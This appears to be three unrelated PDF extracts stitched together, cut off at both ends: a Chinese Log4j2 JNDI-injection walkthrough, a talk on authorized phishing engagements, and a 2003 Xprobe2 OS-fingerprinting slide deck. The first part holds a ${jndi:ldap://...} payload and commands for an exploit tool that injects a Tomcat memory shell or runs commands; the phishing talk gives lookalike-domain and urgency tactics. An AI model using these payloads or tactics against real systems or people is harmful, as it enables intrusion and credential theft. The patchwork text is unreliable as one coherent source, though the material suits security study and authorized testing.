LogManager.getLogger(log4j2RCE.class);    public static void main(String[] args) {        logger.debug("debug...");        logger.info("info...");        logger.warn("warn...");        logger.error("error....");//${jndi:ldap://IP:389/alibaba}        logger.fatal("fatal");   } } 2. 全日志输出配置 <?xml version="1.0" encoding="UTF-8"?> <Configuration status="WARN">   <Appenders>     <Console name="Console" target="SYSTEM_OUT">       <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>     </Console>   </Appenders>   <Loggers>     <Root level="error">       <AppenderRef ref="Console"/>     </Root>   </Loggers> </Configuration> <?xml version="1.0" encoding="UTF-8"?> <Configuration>    <Appenders>        <Console name="STDOUT" target="SYSTEM_OUT">            <PatternLayout pattern="%d %-5p [%t] %C{2} (%F:%L) - %m%n"/>        </Console>    </Appenders>    <Loggers>        <Logger name="org.apache.log4j.xml" level="All"/>        <Root level="debug">            <AppenderRef ref="STDOUT"/>        </Root>    </Loggers> </Configuration> 3. 动态级别设置:使用默认缺省配置,但是利用代码进行动态设置级别 <?xml version="1.0" encoding="UTF-8"?> <Configuration status="WARN">   <Appenders>     <Console name="Console" target="SYSTEM_OUT">       <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>     </Console>   </Appenders>   <Loggers>     <Root level="error">       <AppenderRef ref="Console"/>     </Root>   </Loggers> </Configuration> import org.apache.logging.log4j.Level; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.core.LoggerContext; import org.apache.logging.log4j.core.config.Configuration; import org.apache.logging.log4j.core.config.LoggerConfig; public class log4j2RCE {    private static final Logger logger= LogManager.getLogger(log4j2RCE.class);    public static void main(String[] args) {        LoggerContext ctx          = (LoggerContext) LogManager.getContext(false);        Configuration config       = ctx.getConfiguration();        LoggerConfig loggerConfig = config.getLoggerConfig(LogManager.ROOT_LOGGER_NAME);        loggerConfig.setLevel(Level.ALL); 调试分析 漏洞位置: org.apache.logging.log4j.core.lookup.JndiLookup        ctx.updateLoggers();        logger.debug("debug...");        logger.info("info...");        logger.warn("warn...");        logger.error("error....");//${jndi:ldap://IP:389/alibaba}        logger.fatal("fatal");   } } 堆栈信息 从堆栈入口来分析漏洞,首先是进行一个日志等级的判断,目前只有 error 级别的日志能够触发漏 洞 首先是 this.isEnabled() 方法检测日志等级,测试时发现只有 error 级别返回为true 之后一直跟踪进入到格式化方法。 可以看到格式化方法当中有一个 replace() 方法,之后再继续跟踪进入 resolveVariable() 方 法,这个方法就比较关键了。 resolveVariable() 方法 首先 this.getVariableResolver() 获取到系统中存在的 StrLookup ,然后进入 StrLookup.lookup() 方法。可以看到 log4j 本身定义了很多 Lookup 。 StrLookup.lookup() 方法 在 StrLookup.lookup() 方法中会根据我们输入的 Lookup 类型进行选择,此处时 JndiLookup , 之后进入对应的 JndiLookup.lookup 方法。 JndiLookup.lookup 方法 在这里首先是进入 this.convertJndiName() 方法,执行完这个方法之后会报错,然后利用强制 进入就可以看到之后的处理逻辑。 获取 JndiManager 获取到 JndiManager 之后返回 return var6 ,此处再强制进入,就可以看到触发 jndi 注入的位 置了。此时 context 是 initialContenxt 这个漏洞本质就是一个 jndi 注入,所有一个是要满足 log4j2 触发这个 lookup 的条件,第二个 就是要满足 jndi 注入的利用条件,才能利用成功。 漏洞复现 项目地址 fastjson_tools. 说明 既然这个漏洞的本质和 fastjson 的某些利用链类似,都是 jndi 注入,那之前写的辣鸡 fastjson payload 生成工具就可以排上用场了啊。 环境搭建 创建一个 servlet ,访问就自动写入日志。 工具使用 在工具的README里想偷懒就没写使用方法了,在这里写一下吧。 1. 使用 jre 运行程序 工具会自动创建 http 服务和 jndi 服务。 -m 参数表示直接注入 tomcat 内存马, -h 参数是服务器 地址, -p 参数表示服务一直挂起。 2. 将生成的 jndi 地址换成你的 payload ,然后触发一下 3. 攻击成功会返回http服务收到请求,然后可以访问一下内存马。 内存马的使用可以看另外一个项目addMemShellsJSP &"D:\Program Files\Java\jdk1.8.0_301\jre\bin\java.exe" -jar .\fastjson_tools- 1.0-SNAPSHOT-jar-with-dependencies.jar -h 127.0.0.1 -m shell -p 1   #注入内存马的 Exp &"D:\Program Files\Java\jdk1.8.0_301\jre\bin\java.exe" -jar .\fastjson_tools- 1.0-SNAPSHOT-jar-with-dependencies.jar -h 127.0.0.1 -e   whoami -p 1  #执行命令的 Exp 4. 执行命令的利用方式 &"D:\Program Files\Java\jdk1.8.0_301\jre\bin\java.exe" -jar .\fastjson_tools- 1.0-SNAPSHOT-jar-with-dependencies.jar -h 127.0.0.1 -e whoami -p 1 X-FORWARDEDS-FOR: whoami
pdf
PHISHING WITHOUT FAILURE AND FRUSTRATION or “How I learned to stop worrying and love the layer 8” Unabridged Version Jay Beale CTO, InGuardians 1 Larry Pesce Director of Research, InGuardians """ ▪ As white hats, phishing should be just as easy as for black hats, right? • Write a crafty e-mail that directs readers to a web site. • Build a one-form web site to collect credentials. • Get client approval of the product of steps 1 and 2. • Send e-mail to as many people as possible at company. • Watch the passwords fly in. ▪ Sometimes you get lucky and it really is this easy. Whew! ▪ Expect 10–40% of employees to give their passwords. Why isn't this simple? 2 """ ▪ Larry once had a phishing campaign with a success rate in excess of 100%. ▪ The company targeted a subset of its employees. ▪ His "give us passwords or we cut off your access" call to action worked really well. ▪ They forwarded the phishing e-mail to their co-workers! • Oh, and tested the privilege-separated accounts. • All of them… Success Rates in Excess of 100% 3 """ ▪ A professional phishing engagement should "harden" an organization's staff. ▪ More specifically: • increase individual resilience in every staff member. • train the organization in collaborative detection. ▪ After a couple phishing campaigns, employees will detect scams and report at higher percentages. Why Phish? 4 """ ▪ Most people’s first few professional attempts don’t go this well. ▪ Years ago, when we started phishing, we'd watch our consultants get so frustrated with the situation. We got better. ▪ The rest of this talk details ours and others' frustrating situations, teaching you how to avoid them entirely and achieve success. Why this talk? 5 Layer 8 """ ▪ This isn’t about red team phishing - we do that too, but it rarely involves these challenges. ▪ Eleven stories of failure, each with specific solutions. ▪ Generalizing… ▪ Setting up any professional phishing campaign involves: • Collaboration • Communication • Negotiation ▪ For that matter, anything in life with more than one person involves negotiation. TL;DR 6 """ ▪ Red Team phishing is phishing solely to get initial access, not to test everyone ▪ Incredibly small target pool - usually 1-2 e-mails • Manually determine targets • Use open source recon: LinkedIn, Connect.com, Company website ▪ Low and slow - we must not get caught • It can help to have a pre-established persona with a LinkedIn profile • Pretext focused on specific job function, e.g. recruiters open resumes • Payload needs to be stealthy, topical and never cause suspicion ▪ Pro-tip: use Gmail or Office365 since many organizations whitelist these. Penetration Test Phishing vs Red Team Phishing 7 """ ▪ We're going to tell you eleven stories from real life experience. ▪ Each informed the way that we run a phishing engagement. ▪ We give this advice as if you fill one of these roles: • Consultant working for multiple clients • Security professional inside a single organization Eleven Stories 8 """ 9 """ ▪ We gave our client three scenarios to choose from. ▪ He chose one, we got the pretext built by Wednesday, sent the URL to the client and told him we'd be sending the e-mails on Friday. ▪ He showed the URL to his manager on Thursday, who objected to the entire scenario. ▪ You've just blown your schedule to bits. Story 1: Schedule Fail 10 """ 11 COMMUNICATION"FAIL """ ▪ Guide the client/organization through the process strongly from the beginning. ▪ Tell the org what you're going to need before you even start brainstorming pretexts. ▪ Find out on Day 0 who can veto a pretext. Explain the risk of a late-stage veto. ▪ Set and remind org of deadlines for pretext acceptance. ▪ Prototype pretexts: don't build a site until final agreement on pretext. ▪ Involve the org contact in developing pretexts. ▪ Realize that you're in a multi-party negotiation and rock it accordingly. Story 1: Fix It 12 """ ▪ Communicate more in the beginning Introvert Pro-tip 13 ▪ Far less time spent later on: • talking about frustrations • assigning blame == • lamenting failure """ 14 """ ▪ You spend substantial time developing a pretext e-mail and landing page, but then none of your e-mails make it through the organization's spam filters. ▪ Spam filters trigger because: • your domain is too new • your domain lacks or has broken SPF/DKIM/MTA configs • they get lucky ▪ Back to the drawing board! The schedule suffers and the org contact is annoyed. Story 2: SPAM Filters 15 """ 16 """ ▪ On the technical side, configure: • SPF – make sure to include your IPv6 address • DKIM • MTA with a domain that has existed for at least a week. ▪ An even better solution is to explain to your contact that you're testing the humans, not the technology, and ask for a spam filter whitelist. ▪ Make sure to budget time and test the whitelist! Fix 2: Technical and Human 17 """ 18 """ ▪ You use all the best tools (including Maltego) and get only 15 e-mail addresses. ▪ If you want to test the organization as a whole, you need a heck of a lot of e- mail addresses. ▪ Black Hats get to: • brute force mail servers to find valid e-mail addresses • buy mailing lists Story 3: Numbers Game Fail 19 \ """ 20 """ ▪ Let's stipulate that an attacker could get a very comprehensive list of e-mail addresses. ▪ RED TEAM TACTICS: White Card event ▪ Present options to the client: • We'll find addresses, include them in the report, but then client gives us a comprehensive list of e-mail addresses. • We can brute force your mail server with spam. • Just give us a complete set of e-mail addresses. Fix 3: Numbers Game Fail 21 """ 22 """ ▪ Your e-mail says it's from Robert Smith, the Director of Information Technology. ▪ Your target organization all sits in a one story open floor plan. ▪ People start walking over to Robert’s desk, and he quickly alerts everyone. ▪ Your success rate plummets! Story 4: The Open Floor Plan 23 """ 24 """ ▪ Know your target. ▪ If you are a third party, ask your client contact about: • Where everyone sits • How they communicate • Their escalation procedure – Do they call compliance, help desk, or HR? ▪ Better still, make your client/boss contact and at least one level of management above her part of the pretext brainstorm. Catch pretext problems early. Fix 4: The Open Floor Plan 25 """ 26 """ ▪ Your client asks you to send the phishing e-mails slowly, to avoid detection. ▪ Your victims start to talk. By the time you've got ten e-mails out, someone has alerted the security folks, compliance or the help desk, who send out a mass e- mail. ▪ The jig is up! Story 5: Low and Slow 27 """ 28 """ ▪ Phishing truly is about speed. You must rush. ▪ You’re racing an organization’s ability to communicate and collaborate. ▪ Make sure your e-mail gives so short a deadline that people rush to take your desired action, before: • Someone warns them • They get a chance to think about whether this is a good idea. Fix 5: Speed (racer meme) 29 """ 30 you"have"chosen…poorly HE#CHOSE#POORLY """ ▪ You choose a domain where a single letter is changed or one where you leave out a letter. ▪ Bonus: you can register a TLS certificate! ▪ Examples: • elilily.com • elilil1y.com ▪ Outcome: The employees are trained to catch this. None of them are fooled. Story 6: Poor Domain Choice 31 """ 32 """ ▪ We've had very, very good results with domain names that include the company's true name: • elililly-benefits.com • elillilly.myhealthbenefits.com ▪ Figure out what will work. ▪ Check it with the org and your colleagues. Fix 6: Good Domain Choice 33 """ ▪ What if your client asks for the L-changed-to-1 domain? ▪ Phishing is all about: • Collaboration • Communication • Negotiation ▪ The easiest and most common way to lose in a negotiation is to not realize you're in one. ▪ Can you agree to brainstorm domains as a larger group? Negotiation 34 """ 35 """ ▪ Your org contact asks you to use broken grammar and spelling to simulate the weakest phishes they get. ▪ This lowers your success rate, leaving you feeling frustrated. ▪ Your client has given his company a false sense of security. ▪ By winning his negotiation, the client just lost. ▪ Rule of Negotiation: if anyone loses, everyone loses. Story 7: Broken Grammar 36 """ 37 """ ▪ Share with the org about how broken grammar fails to harden the staff against phishers who write well. ▪ Find a phishing e-mail you’ve received with perfect grammar and share it. ▪ Negotiation: offer to do a round without the broken grammar, then a round with broken grammar/spelling Fix 7: Communication 38 """ 39 """ ▪ The org doesn’t involve their HR, Legal or Compliance folks, who call in the SEC to investigate. ▪ Story of a recent client’s compliance department calling the SEC and the investigation. Story 8: the SEC Investigation 40 """ 41 """ ▪ You have to lead the phishing project. Make involving HR, Legal and/or Compliance a mandatory part of the test. ▪ Humans most easily learn and persuade through story. Make this story part of the conversation early on. ▪ Know your org. Talk about what the escalation paths are and understand where to place your debugger breakpoints. Fix 8: YOU Have to Lead 42 """ 43 """ ▪ Your campaign is successful, but the client feels like you didn't communicate enough. ▪ OR ▪ The client calls you hourly for results. Story 9: Success and an Unhappy Client 44 """ 45 """ ▪ Make client feel loved by giving them stats even more often during first day. ▪ Remember client contact (security people) has been rooting for this kind of thing for a long time . ▪ Pro-Tip: Expectations Management ▪ Keep your level of effort under control by telling them in advance how often you’ll be giving stats. Fix 9: Success and a Happy Client 46 """ 47 """ ▪ You re-invent the wheel every time your group does a phishing campaign, so you don’t innovate enough. ▪ Story: every person in our company who phished created new infrastructure from scratch. ▪ You don’t move forward, you spend too much time building and debugging infrastructure. Story 10: Re-inventing the Wheel 48 """ 49 """ ▪ Pro-tip: use existing good free tools (Phishing Frenzy or dev your own), then teach everyone how to use it. ▪ Every phishing test (or at least every other) should make you better at phishing. Get better or stagnate. ▪ Spin up a few mail servers (MTA’s) then write scripts/processes to change the domain names around. ▪ Enlightened Laziness (automate anything you can) means you reduce errors and spend your time truly creating. Fix 10: Create, Maintain, Publicize 50 """ 51 """ ▪ You don’t follow up with the right people afterward and learn what effect you’re having, and what they did after the campaign. Story 11: Unknown Impact 52 """ 53 """ ▪ Plan how to tell the staff who fell victim about it, focussing on producing better results proactively, not through shame. ▪ Watch to see how reporting rates, escalation and alerting improves. ▪ If you’re a third party, recommend that the org phish itself at least quarterly. Fix 11: Unknown Impact 54 """ 55 """ ▪ Phishing is all about collaboration, communication and negotiation. • If there are 2 people talking, it’s a negotiation. ▪ Most of the failures we’ve described are failures to think ahead and communicate, collaborate and lead with the org. ▪ Use and spread these stories to persuade, plan and win. • If anyone loses a negotiation here, everyone loses. Overall Lesson 56
pdf
The Present & Future of Xprobe2 Founder O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P Revolutionizing Active Operating System Fingerprinting Ofir Arkin [email protected] O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 2 Agenda  Introduction – Ofir Arkin – The Xprobe2 project  The Problems/Issues with Active OS fingerprinting  The Remedy I  The Future of Active Operating System Fingerprinting  Demo – Xprobe2 v0.2  Future Work  Questions O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 3 Ofir Arkin  CISO of an International Telephone Carrier  Founder, The Sys-Security Group  Computer Security Researcher – Etherleak: Ethernet frame padding information leakage (with Josh Anderson) – IP Telephony Security (Security risk factors with IP Telephony based networks, numerous advisories and white papers) – ICMP Usage In Scanning (Security related issues with the ICMP protocol) – Information Warfare (trace-back)  Member, the Honeynet project O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 4 Xprobe/Xprobe2 Project  Open Source Project  Developers – Ofir Arkin – Fyodor Yarochkin – Meder Kydyraliev  Xprobe2 is a remote active operating system fingerprinting tool  Xprobe2 presents an alternative to other remote active operating system fingerprinting tools  Voted one of the top 75 security tools (at the top 50) O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 5 Xprobe/Xprobe2 Project History  Initial alpha release (Xprobe v0.0.1) at the Blackhat briefings USA 2001, June 2001 – Relying on ICMP-based active OS fingerprinting methods found by Ofir Arkin (specified in the “ICMP Usage In Scanning” research paper) – Static decision tree – Was not signature-based – It was only a mission statement - Alpha – limited in functionality O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 6 Xprobe/Xprobe2 Project History  Xprobe2 0.1 beta was released last year at Defcon X: – Based on a signature database – First open source fingerprinting tool to use fuzzy logic matching algorithm between probe results to a signature database (strict signature matching suffers from a number of accuracy issues) – Xprobe2 0.1 beta was using only ICMP-based fingerprinting tests O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 7 Xprobe/Xprobe2 Project History  Xprobe2 0.1 release (April 2003) – Sends RFC compliant packets – A lot of bug fixes – Support for IP ID = SENT fingerprinting method – Major signature DB update – Documentation on how to add your own signatures O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 8 Issues with Active OS fingerprinting O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 9 The Issue with Hardware-based Devices  When fingerprinting operating systems we fingerprint the way an operating system (the software) reacts to different fingerprinting probes a tool uses  With a hardware based device we fingerprint the way a device‟s firmware reacts to the different fingerprinting probes  Hardware based devices of the same manufacture will usually run the same, or a slightly different, firmware (or software) version  It will be either one version for all, or a particular version for a particular functionality O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 10 The Issue with Hardware-based Devices  Example: A Cisco 7200 router will be fingerprinted exactly the same as Cisco‟s Aironet 1100/1200 wireless access points  It is not possible to distinguish between different hardware based products, and their functionality, manufactured by Cisco and using IOS, using traditional active operating system fingerprinting methods  It is possible to identify these devices as manufactured by Cisco and using IOS  It is also possible to divide these devices into groups according to fingerprints differences with the IOS versions they are using, but not to discover their functionality O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 11 The Issue with Hardware-based Devices  Another example is the Foundry Network‟s Net/Fast/Big Iron family  If the designers of the fingerprinting tool of your choice failed to understand these issues, the results received, which are based on a corrupted database, will be unreliable O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 12 The Way Probe Results Are Being Matched  A Strict Signature Matching based Tool – Would search for a 100% match between the received results and the tool’s signature database – If a 100% match is not found, than no match is found and the run fails – Extremely sensitive to environmental affects on the probed target, and on the network which the probed target resides on O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 13 The Way Probe Results Are Being Matched  Fuzzy Logic – Xprobe2  First to implement a statistical analysis based mathematical algorithm to provide with a best effort match between probe results, received from a targeted system, to a signature database  Uses one of the simplest forms of Optical Character Recognition (OCR), by utilizing a matrix based fingerprints matching based on statistical calculation of scores for each test performed – Using a fuzzy logic approach, provides better resistance against environmental affects which might take their toll on a target system and on probe packets O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 14 The Way Probe Results Are Being Matched  Fuzzy Logic (continue) – The quality of the results produced with an active operating system fingerprinting tool using a fuzzy logic approach would be higher – This is if the tool will not suffer from design flaws, and will use a large base of fingerprinting tests – The fuzzy logic implementation with Xprobe2 still misses the ability to assign different weights to different fingerprinting tests – This ability is required since some fingerprinting tests should have bigger impact over the overall fingerprinting results O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 15 The Use of a Fixed Number of Fingerprinting Tests  A fixed number of fingerprinting tests is used  A fixed number of parameters are examined  In theory: Possible matches = tests X parameters examines X parameters permutations  Although the overall number of possible matches is currently much higher than the number of the current available network elements, certain test classes cannot deliver the expected results and provide with a clear distinction between different network elements O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 16 The Use of a Fixed Number of Fingerprinting Tests  A better tool for active OS fingerprinting would be required to utilize fingerprinting tests, which would examine many parameter values with the probe‟s reply  These parameter values would need to be different among many network elements  Therefore a number of this kind of tests is required to be used in order to achieve a broader distinction between different network elements  It suggests that the usage of more parameter rich fingerprinting tests with an active operating fingerprinting tool will provide better overall results O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 17 The Use of a Certain Fingerprinting Niche TCP nmap IP Link nmap TCP [various] UDP sending sending examining ICMP [one] nmap IP Link examining O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 18 The Use of a Certain Fingerprinting Niche IP ICMP Xprobe2 v0.1 UDP Xprobe2 v0.1 Link ICMP [various] sending sending examining O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 19 The Use of a Certain Fingerprinting Niche  This fixation brings into light the inability of such tools to deal with situations where the fingerprinting tests they use do not yield an adequate result about a certain operating system or even a class of operating systems O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 20 No Changes Are Made To the TCP/IP Stacks Of New Versions Of Operating Systems  The behavior of the TCP/IP stack of newly released operating systems hardly changes compared to an older version of the same operating system, or  Changes made to a newly released operating system‟s TCP/IP stack might affect a certain protocol behavior only  The result? Inability of some active operating system fingerprinting tools to distinguish between different versions of the same operating system or even between a class of the same operating system family O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 21 No Changes Are Made To the TCP/IP Stacks Of New Versions Of Operating Systems [root@angelfire NG]# xprobe2 -v x.x.x.x XProbe2 v.0.1 Copyright (c) 2002-2003 [email protected], ofir@sys- security.com, [email protected] [+] Target is x.x.x.x [+] Loading modules. [+] Following modules are loaded: [x][1] ICMP echo (ping) [x][2] TTL distance [x][3] ICMP echo [x][4] ICMP Timestamp [x][5] ICMP Address [x][6] ICMP Info Request [x][7] ICMP port unreach [+] 7 modules registered [+] Initializing scan engine [+] Running scan engine [+] Host: x.x.x.x is up (Guess probability: 100%) [+] Target: x.x.x.x is alive [+] Primary guess: [+] Host x.x.x.x Running OS: "Sun Solaris 5 (SunOS 2.5)" (Guess probability: 100%) [+] Other guesses: [+] Host x.x.x.x Running OS: "Sun Solaris 6 (SunOS 2.6)" (Guess probability: 100%) [+] Host x.x.x.x Running OS: "Sun Solaris 7 (SunOS 2.7)" (Guess probability: 100%) [+] Host x.x.x.x Running OS: "Sun Solaris 8 (SunOS 2.8)" (Guess probability: 100%) [+] Host x.x.x.x Running OS: "Sun Solaris 9 (SunOS 2.9)" (Guess probability: 100%) O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 22 No Changes Are Made To the TCP/IP Stacks Of New Versions Of Operating Systems [root@angelfire NG]# /usr/local/bin/nmap -sT -O x.x.x.x Starting nmap 3.28 ( www.insecure.org/nmap/ ) at 2003-06-18 19:14 IDT Interesting ports on x.x.x.x: (The 1628 ports scanned but not shown below are in state: closed) Port State Service 21/tcp filtered ftp 22/tcp filtered ssh 25/tcp open smtp 80/tcp open http 135/tcp open loc-srv 139/tcp open netbios-ssn 443/tcp open https 465/tcp open smtps 1029/tcp open ms-lsa 1433/tcp open ms-sql-s 2301/tcp open compaqdiag 5555/tcp open freeciv 5800/tcp open vnc-http 5900/tcp open vnc 6000/tcp filtered X11 Remote operating system guess: Windows NT 3.51 SP5, NT4 or 95/98/98SE Nmap run completed -- 1 IP address (1 host up) scanned in 3.334 seconds O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 23 The Inability to Determine the Exact Software Service Pack  Traditional active operating system fingerprinting tools are usually unable to identify the installation of software service packs on a targeted machine  For example, they will identify a target machine runs Microsoft Windows 2000, but will not be able to determine which service pack version is installed (if any at all) O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 24 Some Fingerprinting Tests May Have Bigger Impact on the Overall Results  Some fingerprinting tests may have bigger impact on the overall accuracy of the test results compared to other fingerprinting tests used  If these tests fail, for some reason, the quality of the produced results will be lowered significantly, especially with tools using strict signature matching  The affect of a failure of a mark key test on the results a tool using a fuzzy logic approach produces will be less significant, although it might take its toll as well O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 25 Some Fingerprinting Tests May Have Bigger Impact on the Overall Results spanion:~ # xprobe2 -v x.x.x.x XProbe2 v.0.1 Copyright (c) 2002-2003 [email protected], [email protected], [email protected] [+] Target is x.x.x.x [+] Loading modules. [+] Following modules are loaded: ... [+] 7 modules registered [+] Initializing scan engine [+] Running scan engine [+] Host: x.x.x.x is up (Guess probability: 100%) [+] Target: x.x.x.x is alive [+] Primary guess: [+] Host x.x.x.x Running OS: "Microsoft Windows XP Professional / XP Professional SP1" (Guess probability: 100%) [+] Other guesses: [+] Host x.x.x.x Running OS: "Microsoft Windows 2000/2000SP1/2000SP2/2000SP3" (Guess probability: 100%) O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 26 Some Fingerprinting Tests May Have Bigger Impact on the Overall Results spanion:~ # xprobe2 -v -D 1 -D 2 -D 3 x.x.x.x XProbe2 v.0.1 Copyright (c) 2002-2003 [email protected], [email protected], [email protected] [+] Target is x.x.x.x [+] Loading modules. [+] Following modules are loaded: [x][1] ICMP Timestamp [x][2] ICMP Address [x][3] ICMP Info Request [x][4] ICMP port unreach [+] 4 modules registered [+] Initializing scan engine [+] Running scan engine [+] All alive tests disabled [+] Target: x.x.x.x is alive [+] Primary guess: [+] Host x.x.x.x Running OS: "Microsoft Windows XP Professional / XP Professional SP1" (Guess probability: 100%) [+] Other guesses: [+] Host x.x.x.x Running OS: "Microsoft Windows 2000/2000SP1/2000SP2/2000SP3" (Guess probability: 100%) [+] Host x.x.x.x Running OS: "Microsoft Windows ME" (Guess probability: 100%) O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 27 Different Networking Devices May Alter A Packet‟s Field Value Firewall Probed System R (1) a probe is sent Prober (3) FW alters field values with the reply (2) a reply is sent O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 28 A Firewalled Target Systems Firewall Probed System R Prober O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 29 A Firewalled Target Systems  Probed systems might be firewalled  If a remote active operating system fingerprinting tool relies on sending and/or receiving of particular packet types and those packets are dropped by a firewall protecting the target system(s) chances are that the quality of the results would be degraded to the point false results or no results at all will be produced O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 30 The Use of Malformed Packets  If malformed packets are used, a filtering device may drop the packets, if the filtering device analyzes packets for non-legitimate content  Therefore the quality of the results produced by utilizing a fingerprinting tests relying on malformed packets will be degraded and in some cases even fail  Malformed packets may have another affect, they might cause some TCP/IP stacks to crash O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 31 A TCP/IP Stack‟s Behavior Might Be Altered  Some characteristics of a TCP/IP stack‟s behavior can be altered by a machine‟s system administrator: – Tunable parameters of the TCP/IP stack might be changed e.g. the sysctl command on the various *BSDs, the ndd command on Sun Solaris, etc. – Numerous patches exist for some open source operating system’s kernels that alter the way the particular operating system’s TCP/IP stack responses to certain packets  If a remote active operating system fingerprinting tool is using some of the TCP/IP based parameters that can be altered as part of its fingerprinting test, the quality of the results would be affected and questionable when these parameter values will be altered O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 32 The Quality of the Signature Database  The quality of the results produced by an active operating system fingerprinting tool is not only a factor of programming and terrain  It is much affected from the way the signature database of the tool was and is built  If signatures submitted to the database were and are obtained in a wrongfully manner than the signature database should be regarded as corrupt  The results produced by the tool will not be accurate O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 33 The Quality of the Signature Database  One can find false information quite easily in signature databases of some tools  For example: nmap has a TCP “EOL” in the middle of a TCP Options list of some fingerprints O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 34 The Inability to Identify the Underlying Architecture Platform  Usually, active operating system fingerprinting tools will identify the operating system of a network node, but not its underlying platform  The knowledge about the underlying platform is extremely important for tools performing vulnerability assessment, network inventory, etc., which rely on the results of the active operating system fingerprinting tool (i.e. nessus) O F I R A R K I N, F O U N D E R, T H E S Y S – S E C U R I T Y G R O U P © 2 0 0 0 – 2 0 0 3 T H E S Y S – S E C U R I T Y G R O U P 35 The Inability to Scale  An active operating system fingerprinting tool should have the ability to scan large networks  Must not use many packets to do so  For any router and switch there is an upper limit to the number of packets per second it can process. Beyond that limit, some 